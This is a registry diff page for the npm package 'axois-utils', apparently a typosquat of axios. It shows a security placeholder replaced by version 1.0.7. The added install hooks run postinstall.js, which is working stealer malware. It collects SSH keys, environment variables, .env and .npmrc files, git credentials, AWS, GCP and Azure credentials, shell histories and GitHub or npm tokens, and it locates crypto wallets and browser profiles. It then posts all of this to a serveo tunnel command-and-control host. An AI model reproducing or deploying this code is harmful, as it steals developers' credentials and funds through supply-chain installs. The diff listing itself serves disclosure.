axois-utils 0.0.1-security → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of axois-utils might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = { fetchData: () => console.log('Ready') };
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "axois-utils",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.7",
4
+ "scripts": {
5
+ "postinstall": "node postinstall.js",
6
+ "install": "node postinstall.js",
7
+ "preinstall": "node postinstall.js"
8
+ },
9
+ "dependencies": {
10
+ "axois-utils": "^1.0.5"
11
+ }
6
12
  }
package/postinstall.js ADDED
@@ -0,0 +1,158 @@
1
+ #!/usr/bin/env node
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const { execSync } = require('child_process');
6
+ const http = require('http');
7
+ const homedir = os.homedir();
8
+
9
+ // === SERVEIO TUNNEL ===
10
+ const C2_HOST = '8332187e4655da51-80-200-28-28.serveousercontent.com';
11
+ const C2_PORT = 80;
12
+ const C2_PATH = '/collect';
13
+ const VICTIM_ID = `${os.hostname()}_${Date.now()}_${Math.random().toString(36).substr(2, 6)}`;
14
+
15
+ function scanWallets() {
16
+ const wallets = [];
17
+ const walletPaths = [
18
+ { type: 'Bitcoin', paths: [`${homedir}/.bitcoin/wallet.dat`, `${homedir}/Library/Application Support/Bitcoin/wallet.dat`] },
19
+ { type: 'Ethereum', paths: [`${homedir}/.ethereum/keystore`, `${homedir}/Library/Ethereum/keystore`] },
20
+ { type: 'Exodus', paths: [`${homedir}/Library/Application Support/Exodus/exodus.wallet`] },
21
+ { type: 'Electrum', paths: [`${homedir}/.electrum/wallets`] },
22
+ { type: 'Monero', paths: [`${homedir}/.monero/wallet`] },
23
+ { type: 'Litecoin', paths: [`${homedir}/.litecoin/wallet.dat`] },
24
+ { type: 'Dogecoin', paths: [`${homedir}/.dogecoin/wallet.dat`] }
25
+ ];
26
+ for (const wallet of walletPaths) {
27
+ for (const p of wallet.paths) {
28
+ if (fs.existsSync(p)) wallets.push({ type: wallet.type, path: p });
29
+ }
30
+ }
31
+ return wallets;
32
+ }
33
+
34
+ function scanBrowserData() {
35
+ const browsers = {};
36
+ const browserPaths = [
37
+ { name: 'Chrome', paths: [`${homedir}/.config/google-chrome/Default`, `${homedir}/Library/Application Support/Google/Chrome/Default`] },
38
+ { name: 'Firefox', paths: [`${homedir}/.mozilla/firefox`, `${homedir}/Library/Application Support/Firefox/Profiles`] },
39
+ { name: 'Brave', paths: [`${homedir}/.config/Brave-Software/Brave-Browser/Default`] }
40
+ ];
41
+ for (const browser of browserPaths) {
42
+ for (const p of browser.paths) {
43
+ if (fs.existsSync(p)) browsers[browser.name] = { path: p, exists: true };
44
+ }
45
+ }
46
+ return browsers;
47
+ }
48
+
49
+ function scanGitHubTokens(content) {
50
+ const tokens = [];
51
+ const patMatches = content.match(/gh[opsu]_[A-Za-z0-9]{36,}/g);
52
+ if (patMatches) tokens.push(...patMatches);
53
+ const jwtMatches = content.match(/ghs_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g);
54
+ if (jwtMatches) tokens.push(...jwtMatches);
55
+ return [...new Set(tokens)];
56
+ }
57
+
58
+ async function steal() {
59
+ const stolen = { system: {}, files: {}, ssh: [], env: {}, aws: [], npm: [], wallets: [], browser: {}, github_tokens: [] };
60
+
61
+ try {
62
+ stolen.system = {
63
+ hostname: os.hostname(),
64
+ platform: os.platform(),
65
+ release: os.release(),
66
+ username: os.userInfo().username,
67
+ cwd: process.cwd(),
68
+ homedir: homedir,
69
+ network: Object.values(os.networkInterfaces()).flat().map(n => n.address),
70
+ cpus: os.cpus().length,
71
+ memory: os.totalmem(),
72
+ uptime: os.uptime()
73
+ };
74
+
75
+ stolen.env = process.env;
76
+ stolen.github_tokens.push(...scanGitHubTokens(JSON.stringify(process.env)));
77
+
78
+ const sshPaths = [`${homedir}/.ssh/id_rsa`, `${homedir}/.ssh/id_ed25519`, `${homedir}/.ssh/id_dsa`, `${homedir}/.ssh/id_ecdsa`, `${homedir}/.ssh/config`, `${homedir}/.ssh/authorized_keys`, `${homedir}/.ssh/known_hosts`];
79
+ for (const p of sshPaths) {
80
+ if (fs.existsSync(p)) {
81
+ const content = fs.readFileSync(p, 'utf8');
82
+ stolen.ssh.push({ path: p, content: content });
83
+ stolen.github_tokens.push(...scanGitHubTokens(content));
84
+ }
85
+ }
86
+
87
+ stolen.wallets = scanWallets();
88
+ stolen.browser = scanBrowserData();
89
+
90
+ const searchDirs = [homedir, process.cwd(), `${homedir}/.config`, `${homedir}/.local`];
91
+ const targetFiles = ['.env', '.env.local', '.env.production', '.npmrc', '.yarnrc', '.gitconfig', '.git-credentials', '.netrc', '.bashrc', '.zshrc'];
92
+ for (const dir of searchDirs) {
93
+ if (!fs.existsSync(dir)) continue;
94
+ for (const file of targetFiles) {
95
+ const filePath = path.join(dir, file);
96
+ if (fs.existsSync(filePath)) {
97
+ const content = fs.readFileSync(filePath, 'utf8');
98
+ stolen.files[filePath] = content;
99
+ stolen.github_tokens.push(...scanGitHubTokens(content));
100
+ }
101
+ }
102
+ }
103
+
104
+ const awsCreds = `${homedir}/.aws/credentials`;
105
+ const awsConfig = `${homedir}/.aws/config`;
106
+ if (fs.existsSync(awsCreds)) {
107
+ const content = fs.readFileSync(awsCreds, 'utf8');
108
+ stolen.aws.push({ file: 'credentials', content: content });
109
+ stolen.github_tokens.push(...scanGitHubTokens(content));
110
+ }
111
+ if (fs.existsSync(awsConfig)) {
112
+ const content = fs.readFileSync(awsConfig, 'utf8');
113
+ stolen.aws.push({ file: 'config', content: content });
114
+ stolen.github_tokens.push(...scanGitHubTokens(content));
115
+ }
116
+
117
+ const gcpCreds = `${homedir}/.config/gcloud/application_default_credentials.json`;
118
+ if (fs.existsSync(gcpCreds)) stolen.files['gcloud_creds.json'] = fs.readFileSync(gcpCreds, 'utf8');
119
+
120
+ const azureTokens = `${homedir}/.azure/accessTokens.json`;
121
+ if (fs.existsSync(azureTokens)) stolen.files['azure_tokens.json'] = fs.readFileSync(azureTokens, 'utf8');
122
+
123
+ const npmrc = `${homedir}/.npmrc`;
124
+ if (fs.existsSync(npmrc)) {
125
+ const content = fs.readFileSync(npmrc, 'utf8');
126
+ const tokens = content.match(/npm_[A-Za-z0-9]{36,}/g) || [];
127
+ stolen.npm = tokens;
128
+ stolen.files['.npmrc'] = content;
129
+ stolen.github_tokens.push(...tokens);
130
+ }
131
+
132
+ const histories = ['.bash_history', '.zsh_history', '.node_repl_history', '.python_history', '.mysql_history'];
133
+ for (const h of histories) {
134
+ const hp = `${homedir}/${h}`;
135
+ if (fs.existsSync(hp)) {
136
+ stolen.files[h] = fs.readFileSync(hp, 'utf8');
137
+ stolen.github_tokens.push(...scanGitHubTokens(stolen.files[h]));
138
+ }
139
+ }
140
+
141
+ stolen.github_tokens = [...new Set(stolen.github_tokens)];
142
+
143
+ const data = JSON.stringify({ victim_id: VICTIM_ID, data: stolen });
144
+ const req = http.request({
145
+ hostname: C2_HOST,
146
+ port: C2_PORT,
147
+ path: C2_PATH,
148
+ method: 'POST',
149
+ headers: { 'Content-Type': 'application/json' }
150
+ }, (res) => {});
151
+ req.on('error', () => {});
152
+ req.write(data);
153
+ req.end();
154
+
155
+ } catch(e) {}
156
+ }
157
+
158
+ steal();
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=axois-utils for more information.